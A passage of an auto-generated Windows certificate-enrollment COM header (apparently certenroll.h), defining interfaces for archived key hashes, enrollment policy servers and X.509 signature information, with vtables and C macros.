/* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *RemoveFromCertificate )( \n            __RPC__in ICertPropertyArchivedKeyHash * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *SetValueOnCertificate )( \n            __RPC__in ICertPropertyArchivedKeyHash * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in ICertPropertyArchivedKeyHash * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strArchivedKeyHashValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_ArchivedKeyHash )( \n            __RPC__in ICertPropertyArchivedKeyHash * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        END_INTERFACE\n    } ICertPropertyArchivedKeyHashVtbl;\n\n    interface ICertPropertyArchivedKeyHash\n    {\n        CONST_VTBL struct ICertPropertyArchivedKeyHashVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertPropertyArchivedKeyHash_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertPropertyArchivedKeyHash_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertPropertyArchivedKeyHash_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertPropertyArchivedKeyHash_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertPropertyArchivedKeyHash_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertPropertyArchivedKeyHash_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertPropertyArchivedKeyHash_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertPropertyArchivedKeyHash_InitializeFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyArchivedKeyHash_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define ICertPropertyArchivedKeyHash_get_PropertyId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_PropertyId(This,pValue) ) \n\n#define ICertPropertyArchivedKeyHash_put_PropertyId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_PropertyId(This,Value) ) \n\n#define ICertPropertyArchivedKeyHash_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define ICertPropertyArchivedKeyHash_RemoveFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> RemoveFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyArchivedKeyHash_SetValueOnCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> SetValueOnCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n\n#define ICertPropertyArchivedKeyHash_Initialize(This,Encoding,strArchivedKeyHashValue)\t\\\n    ( (This)->lpVtbl -> Initialize(This,Encoding,strArchivedKeyHashValue) ) \n\n#define ICertPropertyArchivedKeyHash_get_ArchivedKeyHash(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_ArchivedKeyHash(This,Encoding,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertPropertyArchivedKeyHash_INTERFACE_DEFINED__ */\n\n\n/* interface __MIDL_itf_certenroll_0000_0058 */\n/* [local] */ \n\ntypedef \nenum EnrollmentPolicyServerPropertyFlags\n    {\tDefaultNone\t= 0,\n\tDefaultPolicyServer\t= 0x1\n    } \tEnrollmentPolicyServerPropertyFlags;\n\ntypedef \nenum PolicyServerUrlFlags\n    {\tPsfNone\t= 0,\n\tPsfLocationGroupPolicy\t= 1,\n\tPsfLocationRegistry\t= 2,\n\tPsfUseClientId\t= 4,\n\tPsfAutoEnrollmentEnabled\t= 16,\n\tPsfAllowUnTrustedCA\t= 32\n    } \tPolicyServerUrlFlags;\n\n\n\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0058_v0_0_c_ifspec;\nextern RPC_IF_HANDLE __MIDL_itf_certenroll_0000_0058_v0_0_s_ifspec;\n\n#ifndef __ICertPropertyEnrollmentPolicyServer_INTERFACE_DEFINED__\n#define __ICertPropertyEnrollmentPolicyServer_INTERFACE_DEFINED__\n\n/* interface ICertPropertyEnrollmentPolicyServer */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_ICertPropertyEnrollmentPolicyServer;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab34a-217d-11da-b2a4-000e7bbb2b09\")\n    ICertPropertyEnrollmentPolicyServer : public ICertProperty\n    {\n    public:\n        virtual HRESULT STDMETHODCALLTYPE Initialize( \n            /* [in] */ EnrollmentPolicyServerPropertyFlags PropertyFlags,\n            /* [in] */ X509EnrollmentAuthFlags AuthFlags,\n            /* [in] */ X509EnrollmentAuthFlags EnrollmentServerAuthFlags,\n            /* [in] */ PolicyServerUrlFlags UrlFlags,\n            /* [in] */ __RPC__in BSTR strRequestId,\n            /* [in] */ __RPC__in BSTR strUrl,\n            /* [in] */ __RPC__in BSTR strId,\n            /* [in] */ __RPC__in BSTR strEnrollmentServerUrl) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetPolicyServerUrl( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetPolicyServerId( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetEnrollmentServerUrl( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetRequestIdString( \n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetPropertyFlags( \n            /* [retval][out] */ __RPC__out EnrollmentPolicyServerPropertyFlags *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetUrlFlags( \n            /* [retval][out] */ __RPC__out PolicyServerUrlFlags *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetAuthentication( \n            /* [retval][out] */ __RPC__out X509EnrollmentAuthFlags *pValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetEnrollmentServerAuthentication( \n            /* [retval][out] */ __RPC__out X509EnrollmentAuthFlags *pValue) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct ICertPropertyEnrollmentPolicyServerVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            ICertPropertyEnrollmentPolicyServer * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeFromCertificate )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *InitializeDecode )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strEncodedData);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PropertyId )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__out CERTENROLL_PROPERTYID *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_PropertyId )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This,\n            /* [in] */ CERTENROLL_PROPERTYID Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_RawData )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This,\n            /* [in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *RemoveFromCertificate )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *SetValueOnCertificate )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This,\n            /* [in] */ VARIANT_BOOL MachineContext,\n            /* [in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR strCertificate);\n        \n        HRESULT ( STDMETHODCALLTYPE *Initialize )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This,\n            /* [in] */ EnrollmentPolicyServerPropertyFlags PropertyFlags,\n            /* [in] */ X509EnrollmentAuthFlags AuthFlags,\n            /* [in] */ X509EnrollmentAuthFlags EnrollmentServerAuthFlags,\n            /* [in] */ PolicyServerUrlFlags UrlFlags,\n            /* [in] */ __RPC__in BSTR strRequestId,\n            /* [in] */ __RPC__in BSTR strUrl,\n            /* [in] */ __RPC__in BSTR strId,\n            /* [in] */ __RPC__in BSTR strEnrollmentServerUrl);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetPolicyServerUrl )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetPolicyServerId )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetEnrollmentServerUrl )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetRequestIdString )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetPropertyFlags )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__out EnrollmentPolicyServerPropertyFlags *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetUrlFlags )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__out PolicyServerUrlFlags *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetAuthentication )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__out X509EnrollmentAuthFlags *pValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetEnrollmentServerAuthentication )( \n            __RPC__in ICertPropertyEnrollmentPolicyServer * This,\n            /* [retval][out] */ __RPC__out X509EnrollmentAuthFlags *pValue);\n        \n        END_INTERFACE\n    } ICertPropertyEnrollmentPolicyServerVtbl;\n\n    interface ICertPropertyEnrollmentPolicyServer\n    {\n        CONST_VTBL struct ICertPropertyEnrollmentPolicyServerVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define ICertPropertyEnrollmentPolicyServer_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define ICertPropertyEnrollmentPolicyServer_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define ICertPropertyEnrollmentPolicyServer_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define ICertPropertyEnrollmentPolicyServer_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define ICertPropertyEnrollmentPolicyServer_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define ICertPropertyEnrollmentPolicyServer_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define ICertPropertyEnrollmentPolicyServer_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define ICertPropertyEnrollmentPolicyServer_InitializeFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> InitializeFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyEnrollmentPolicyServer_InitializeDecode(This,Encoding,strEncodedData)\t\\\n    ( (This)->lpVtbl -> InitializeDecode(This,Encoding,strEncodedData) ) \n\n#define ICertPropertyEnrollmentPolicyServer_get_PropertyId(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_PropertyId(This,pValue) ) \n\n#define ICertPropertyEnrollmentPolicyServer_put_PropertyId(This,Value)\t\\\n    ( (This)->lpVtbl -> put_PropertyId(This,Value) ) \n\n#define ICertPropertyEnrollmentPolicyServer_get_RawData(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_RawData(This,Encoding,pValue) ) \n\n#define ICertPropertyEnrollmentPolicyServer_RemoveFromCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> RemoveFromCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n#define ICertPropertyEnrollmentPolicyServer_SetValueOnCertificate(This,MachineContext,Encoding,strCertificate)\t\\\n    ( (This)->lpVtbl -> SetValueOnCertificate(This,MachineContext,Encoding,strCertificate) ) \n\n\n#define ICertPropertyEnrollmentPolicyServer_Initialize(This,PropertyFlags,AuthFlags,EnrollmentServerAuthFlags,UrlFlags,strRequestId,strUrl,strId,strEnrollmentServerUrl)\t\\\n    ( (This)->lpVtbl -> Initialize(This,PropertyFlags,AuthFlags,EnrollmentServerAuthFlags,UrlFlags,strRequestId,strUrl,strId,strEnrollmentServerUrl) ) \n\n#define ICertPropertyEnrollmentPolicyServer_GetPolicyServerUrl(This,pValue)\t\\\n    ( (This)->lpVtbl -> GetPolicyServerUrl(This,pValue) ) \n\n#define ICertPropertyEnrollmentPolicyServer_GetPolicyServerId(This,pValue)\t\\\n    ( (This)->lpVtbl -> GetPolicyServerId(This,pValue) ) \n\n#define ICertPropertyEnrollmentPolicyServer_GetEnrollmentServerUrl(This,pValue)\t\\\n    ( (This)->lpVtbl -> GetEnrollmentServerUrl(This,pValue) ) \n\n#define ICertPropertyEnrollmentPolicyServer_GetRequestIdString(This,pValue)\t\\\n    ( (This)->lpVtbl -> GetRequestIdString(This,pValue) ) \n\n#define ICertPropertyEnrollmentPolicyServer_GetPropertyFlags(This,pValue)\t\\\n    ( (This)->lpVtbl -> GetPropertyFlags(This,pValue) ) \n\n#define ICertPropertyEnrollmentPolicyServer_GetUrlFlags(This,pValue)\t\\\n    ( (This)->lpVtbl -> GetUrlFlags(This,pValue) ) \n\n#define ICertPropertyEnrollmentPolicyServer_GetAuthentication(This,pValue)\t\\\n    ( (This)->lpVtbl -> GetAuthentication(This,pValue) ) \n\n#define ICertPropertyEnrollmentPolicyServer_GetEnrollmentServerAuthentication(This,pValue)\t\\\n    ( (This)->lpVtbl -> GetEnrollmentServerAuthentication(This,pValue) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __ICertPropertyEnrollmentPolicyServer_INTERFACE_DEFINED__ */\n\n\n#ifndef __IX509SignatureInformation_INTERFACE_DEFINED__\n#define __IX509SignatureInformation_INTERFACE_DEFINED__\n\n/* interface IX509SignatureInformation */\n/* [helpstring][dual][uuid][object] */ \n\n\nEXTERN_C const IID IID_IX509SignatureInformation;\n\n#if defined(__cplusplus) && !defined(CINTERFACE)\n    \n    MIDL_INTERFACE(\"728ab33c-217d-11da-b2a4-000e7bbb2b09\")\n    IX509SignatureInformation : public IDispatch\n    {\n    public:\n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_HashAlgorithm( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_HashAlgorithm( \n            /* [in] */ __RPC__in_opt IObjectId *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_PublicKeyAlgorithm( \n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_PublicKeyAlgorithm( \n            /* [in] */ __RPC__in_opt IObjectId *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_Parameters( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_Parameters( \n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_AlternateSignatureAlgorithm( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_AlternateSignatureAlgorithm( \n            /* [in] */ VARIANT_BOOL Value) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_AlternateSignatureAlgorithmSet( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propget] */ HRESULT STDMETHODCALLTYPE get_NullSigned( \n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue) = 0;\n        \n        virtual /* [propput] */ HRESULT STDMETHODCALLTYPE put_NullSigned( \n            /* [in] */ VARIANT_BOOL Value) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE GetSignatureAlgorithm( \n            /* [in] */ VARIANT_BOOL Pkcs7Signature,\n            /* [in] */ VARIANT_BOOL SignatureKey,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue) = 0;\n        \n        virtual HRESULT STDMETHODCALLTYPE SetDefaultValues( void) = 0;\n        \n    };\n    \n#else \t/* C style interface */\n\n    typedef struct IX509SignatureInformationVtbl\n    {\n        BEGIN_INTERFACE\n        \n        HRESULT ( STDMETHODCALLTYPE *QueryInterface )( \n            __RPC__in IX509SignatureInformation * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [annotation][iid_is][out] */ \n            __RPC__deref_out  void **ppvObject);\n        \n        ULONG ( STDMETHODCALLTYPE *AddRef )( \n            __RPC__in IX509SignatureInformation * This);\n        \n        ULONG ( STDMETHODCALLTYPE *Release )( \n            __RPC__in IX509SignatureInformation * This);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfoCount )( \n            __RPC__in IX509SignatureInformation * This,\n            /* [out] */ __RPC__out UINT *pctinfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetTypeInfo )( \n            __RPC__in IX509SignatureInformation * This,\n            /* [in] */ UINT iTInfo,\n            /* [in] */ LCID lcid,\n            /* [out] */ __RPC__deref_out_opt ITypeInfo **ppTInfo);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetIDsOfNames )( \n            __RPC__in IX509SignatureInformation * This,\n            /* [in] */ __RPC__in REFIID riid,\n            /* [size_is][in] */ __RPC__in_ecount_full(cNames) LPOLESTR *rgszNames,\n            /* [range][in] */ __RPC__in_range(0,16384) UINT cNames,\n            /* [in] */ LCID lcid,\n            /* [size_is][out] */ __RPC__out_ecount_full(cNames) DISPID *rgDispId);\n        \n        /* [local] */ HRESULT ( STDMETHODCALLTYPE *Invoke )( \n            IX509SignatureInformation * This,\n            /* [in] */ DISPID dispIdMember,\n            /* [in] */ REFIID riid,\n            /* [in] */ LCID lcid,\n            /* [in] */ WORD wFlags,\n            /* [out][in] */ DISPPARAMS *pDispParams,\n            /* [out] */ VARIANT *pVarResult,\n            /* [out] */ EXCEPINFO *pExcepInfo,\n            /* [out] */ UINT *puArgErr);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_HashAlgorithm )( \n            __RPC__in IX509SignatureInformation * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_HashAlgorithm )( \n            __RPC__in IX509SignatureInformation * This,\n            /* [in] */ __RPC__in_opt IObjectId *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_PublicKeyAlgorithm )( \n            __RPC__in IX509SignatureInformation * This,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_PublicKeyAlgorithm )( \n            __RPC__in IX509SignatureInformation * This,\n            /* [in] */ __RPC__in_opt IObjectId *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_Parameters )( \n            __RPC__in IX509SignatureInformation * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [retval][out] */ __RPC__deref_out_opt BSTR *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_Parameters )( \n            __RPC__in IX509SignatureInformation * This,\n            /* [defaultvalue][in] */ EncodingType Encoding,\n            /* [in] */ __RPC__in BSTR Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_AlternateSignatureAlgorithm )( \n            __RPC__in IX509SignatureInformation * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_AlternateSignatureAlgorithm )( \n            __RPC__in IX509SignatureInformation * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_AlternateSignatureAlgorithmSet )( \n            __RPC__in IX509SignatureInformation * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propget] */ HRESULT ( STDMETHODCALLTYPE *get_NullSigned )( \n            __RPC__in IX509SignatureInformation * This,\n            /* [retval][out] */ __RPC__out VARIANT_BOOL *pValue);\n        \n        /* [propput] */ HRESULT ( STDMETHODCALLTYPE *put_NullSigned )( \n            __RPC__in IX509SignatureInformation * This,\n            /* [in] */ VARIANT_BOOL Value);\n        \n        HRESULT ( STDMETHODCALLTYPE *GetSignatureAlgorithm )( \n            __RPC__in IX509SignatureInformation * This,\n            /* [in] */ VARIANT_BOOL Pkcs7Signature,\n            /* [in] */ VARIANT_BOOL SignatureKey,\n            /* [retval][out] */ __RPC__deref_out_opt IObjectId **ppValue);\n        \n        HRESULT ( STDMETHODCALLTYPE *SetDefaultValues )( \n            __RPC__in IX509SignatureInformation * This);\n        \n        END_INTERFACE\n    } IX509SignatureInformationVtbl;\n\n    interface IX509SignatureInformation\n    {\n        CONST_VTBL struct IX509SignatureInformationVtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IX509SignatureInformation_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IX509SignatureInformation_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IX509SignatureInformation_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IX509SignatureInformation_GetTypeInfoCount(This,pctinfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfoCount(This,pctinfo) ) \n\n#define IX509SignatureInformation_GetTypeInfo(This,iTInfo,lcid,ppTInfo)\t\\\n    ( (This)->lpVtbl -> GetTypeInfo(This,iTInfo,lcid,ppTInfo) ) \n\n#define IX509SignatureInformation_GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId)\t\\\n    ( (This)->lpVtbl -> GetIDsOfNames(This,riid,rgszNames,cNames,lcid,rgDispId) ) \n\n#define IX509SignatureInformation_Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr)\t\\\n    ( (This)->lpVtbl -> Invoke(This,dispIdMember,riid,lcid,wFlags,pDispParams,pVarResult,pExcepInfo,puArgErr) ) \n\n\n#define IX509SignatureInformation_get_HashAlgorithm(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_HashAlgorithm(This,ppValue) ) \n\n#define IX509SignatureInformation_put_HashAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_HashAlgorithm(This,pValue) ) \n\n#define IX509SignatureInformation_get_PublicKeyAlgorithm(This,ppValue)\t\\\n    ( (This)->lpVtbl -> get_PublicKeyAlgorithm(This,ppValue) ) \n\n#define IX509SignatureInformation_put_PublicKeyAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> put_PublicKeyAlgorithm(This,pValue) ) \n\n#define IX509SignatureInformation_get_Parameters(This,Encoding,pValue)\t\\\n    ( (This)->lpVtbl -> get_Parameters(This,Encoding,pValue) ) \n\n#define IX509SignatureInformation_put_Parameters(This,Encoding,Value)\t\\\n    ( (This)->lpVtbl -> put_Parameters(This,Encoding,Value) ) \n\n#define IX509SignatureInformation_get_AlternateSignatureAlgorithm(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_AlternateSignatureAlgorithm(This,pValue) ) \n\n#define IX509SignatureInformation_put_AlternateSignatureAlgorithm(This,Value)\t\\\n    ( (This)->lpVtbl -> put_AlternateSignatureAlgorithm(This,Value) ) \n\n#define IX509SignatureInformation_get_AlternateSignatureAlgorithmSet(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_AlternateSignatureAlgorithmSet(This,pValue) ) \n\n#define IX509SignatureInformation_get_NullSigned(This,pValue)\t\\\n    ( (This)->lpVtbl -> get_NullSigned(This,pValue) ) \n\n#define IX509SignatureInformation_put_NullSigned(This,Value)\t\\\n    ( (This)->lpVtbl -> put_NullSigned(This,Value) ) \n\n#define IX509SignatureInformation_GetSignatureAlgorithm(This,Pkcs7Signature,SignatureKey,ppValue)\t\\\n    ( (This)->lpVtbl -> GetSignatureAlgorithm(This,Pkcs7Signature,SignatureKey,ppValue) ) \n\n#define IX509SignatureInformation_SetDefaultValues(This)\t\\\n    ( (This)->lpVtbl -> SetDefaultValues(This) ) \n\n#endif /* COBJMACROS */\n\n\n#endif \t/* C style interface */\n\n\n\n\n#endif \t/* __IX509SignatureInformation_INTERFACE_DEFINED__ */\n\n\n#ifndef __ISignerCertificate_INTERFACE_DEFINED__\n#define __ISignerCertificate_INTERFACE_DEFINED__\n\n/* interface ISignerCertificate */\n/* 